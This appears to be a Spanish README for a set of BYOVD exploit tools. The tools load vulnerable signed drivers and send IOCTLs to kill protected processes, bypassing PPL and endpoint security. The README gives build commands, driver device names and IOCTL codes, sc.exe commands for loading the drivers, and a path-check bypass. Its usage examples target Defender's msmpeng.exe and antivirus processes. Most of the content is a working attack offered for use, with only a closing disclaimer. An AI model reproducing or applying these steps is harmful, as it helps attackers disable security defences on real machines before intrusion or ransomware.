
Eliminador de procesos en modo kernel que explota CVE-2026-0828 (BYOVD) para terminar procesos protegidos mediante un controlador firmado vulnerable, eludiendo PPL y la seguridad de endpoints.
Una colección de herramientas de terminación de procesos en modo kernel que aprovechan controladores vulnerables (BYOVD) para finalizar procesos protegidos desde modo usuario.
| Archivo | Descripción |
|---|---|
terminator.hpp | Interfaz de clase compartida para la enumeración y terminación de procesos |
terminator_STProcessMonitorDriver.cpp | Exploit para STProcessMonitorDriver (IOCTL 0xB822200C) |
Terminator_libwasys.cpp | Exploit para libwasys.sys (IOCTL 0x22E00C) |
terminator_MonProcessControl.cpp | Exploit para MonProcessControl.sys (HONOR MagicSpaceTurbo, IOCTL 0x0022400C con omisión de comprobación de ruta) |
terminator.cpp | Implementación original |
ProcessMonitorDriver.sys | Muestra de STProcessMonitorDriver (incluida) |
ilbwasys.sys / libwasys.sys | Muestras del controlador libwasys |
Requiere MinGW-w64 (GCC) en Windows. Compile las variantes individuales:
g++ --% src\terminator_STProcessMonitorDriver.cpp -o terminator_STProcessMonitor.exe -Oz -ffunction-sections -fdata-sections -static -static-libgcc -static-libstdc++ -Wl,--gc-sections -W
g++ --% src\Terminator_libwasys.cpp -o terminator_libwasys.exe -Oz -ffunction-sections -fdata-sections -static -static-libgcc -static-libstdc++ -Wl,--gc-sections -W
g++ --% src\terminator_MonProcessControl.cpp -o terminator_MonProcessControl.exe -Oz -ffunction-sections -fdata-sections -static -static-libgcc -static-libstdc++ -Wl,--gc-sections -W
Desglose de flags:
| Flag | Propósito |
|---|---|
--% | Token de detención de análisis de PowerShell (pasa los argumentos literalmente a g++) |
-Oz | Optimizar para tamaño mínimo |
-ffunction-sections / -fdata-sections | Coloca cada función/dato en una sección separada |
-static / -static-libgcc / -static-libstdc++ | Enlazado estático (sin dependencias de DLL en tiempo de ejecución) |
-Wl,--gc-sections | El enlazador recolecta las secciones no utilizadas |
-W | Habilita advertencias |
Salida: ejecutables autónomos (~20-30 KB tras el strip).
Todas las variantes comparten una arquitectura común:
CreateToolhelp32Snapshot()| Variante | Dispositivo del controlador | IOCTL | Tamaño de entrada | Notas |
|---|---|---|---|---|
| STProcessMonitorDriver | \\.\STProcessMonitorDriver | 0xB822200C | 8 bytes (ULONG64 PID) | Relacionado con CVE-2026-0828 |
| libwasys.sys | \\.\WasysControl | 0x22E00C | 4 bytes (DWORD PID) | IOCTL directo |
| MonProcessControl.sys | \\.\MonProcessControl | 0x0022400C | 4 bytes (DWORD PID) | Requiere reubicación a C:\HONOR\MagicAnimation\MagicSpaceTurbo.exe debido a la comprobación de ruta |
Terminator::GetProcessPids()
CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS)Process32First/Process32NextTerminator::ProcessKill()
Relocate() (solo MonProcessControl)
C:\HONOR\MagicAnimation\MagicSpaceTurbo.exeCargar el controlador vulnerable correspondiente (requiere Administrador):
# STProcessMonitorDriver
sc.exe create STProcessMonitor type=kernel binPath=C:\Path\To\Driver\ProcessMonitorDriver.sys
sc.exe start STProcessMonitor
# libwasys.sys
sc.exe create WasysControl type=kernel binPath=C:\Path\To\Driver\libwasys.sys
sc.exe start WasysControl
# MonProcessControl.sys
sc.exe create MonProcessControl type=kernel binPath=C:\Path\To\Driver\MonProcessControl.sys
sc.exe start MonProcessControl
Todas las variantes usan la misma sintaxis:
<terminator_exe> -proc <process_name1> [process_name2] ...
Ejemplos:
terminator_STProcessMonitor.exe -proc notepad.exe
terminator_libwasys.exe -proc msmpeng.exe csrss.exe
terminator_MonProcessControl.exe -proc antivirus.exe
[+] Connected to driver. Monitoring for processes...
[*] Sending IOCTL 0xB822200C to terminate PID 4188...
[+] Success! IOCTL sent for PID 4188.
Para MonProcessControl, los mensajes de reubicación aparecen primero si aún no están en la ruta esperada.
Esta herramienta es únicamente para investigación de seguridad autorizada y ejercicios de red team.
El uso no autorizado contra sistemas que no posee o para los que no tiene permiso explícito de probar es ilegal. El autor no asume ninguna responsabilidad por el uso indebido. Asegúrese de contar con autorización por escrito antes de desplegarla en cualquier entorno.
Los controladores vulnerables están intencionalmente defectuosos con fines de demostración y nunca deben desplegarse en producción.